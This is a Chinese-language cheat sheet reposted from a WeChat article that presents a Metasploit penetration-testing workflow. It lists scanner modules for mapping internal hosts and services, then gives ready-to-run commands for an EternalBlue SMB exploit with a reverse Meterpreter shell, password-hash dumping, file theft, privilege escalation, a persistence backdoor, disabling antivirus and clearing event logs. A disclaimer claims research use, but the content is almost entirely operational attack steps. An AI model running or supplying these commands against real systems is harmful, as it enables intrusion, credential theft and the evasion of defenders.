auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使
用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-
10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端
口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname
run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
use post/windows/gather/enum_patches #发现缺失的补丁
use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录
的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token
使用 Nmap 扫描目标网络,
nmap -sV 192.168.1.100 # 扫描目标服务版本
通过 Metasploit 的 辅助模块(Auxiliary)收集信息
use auxiliary/scanner/http/http_version # 探测 HTTP 服务版本
set RHOSTS 192.168.1.100
run
search type:exploit platform:windows smb # 搜索 Windows SMB 协议相关漏洞
选择模块(如永恒之蓝漏洞):
use exploit/windows/smb/ms17_010_eternalblue
三、配置参数与载荷(Configuration)
设置目标地址和端口:
set RHOSTS 192.168.1.100
set RPORT 445
选择并配置攻击载荷(如反向 Shell):
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.1 # 自己的 IP
启动渗透:
exploit # 或 run
若成功,将建立 Meterpreter 会话,显示交互式 Shell:
meterpreter > sysinfo # 查看目标系统信息
meterpreter > hashdump # 获取密码哈希
meterpreter > download C:\secret.txt # 下载文件
权限提升:
meterpreter > getsystem # 尝试提权至 SYSTEM 权限
meterpreter > run persistence -X -i 60 -p 443 -r 192.168.1.1
meterpreter > clearev # 清除事件日志
meterpreter > exit
msf6 > notes -t vuln # 导出漏洞记录
原文始发于微信公众号(运维星火燎原):渗透测试Metasploit工作流程
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论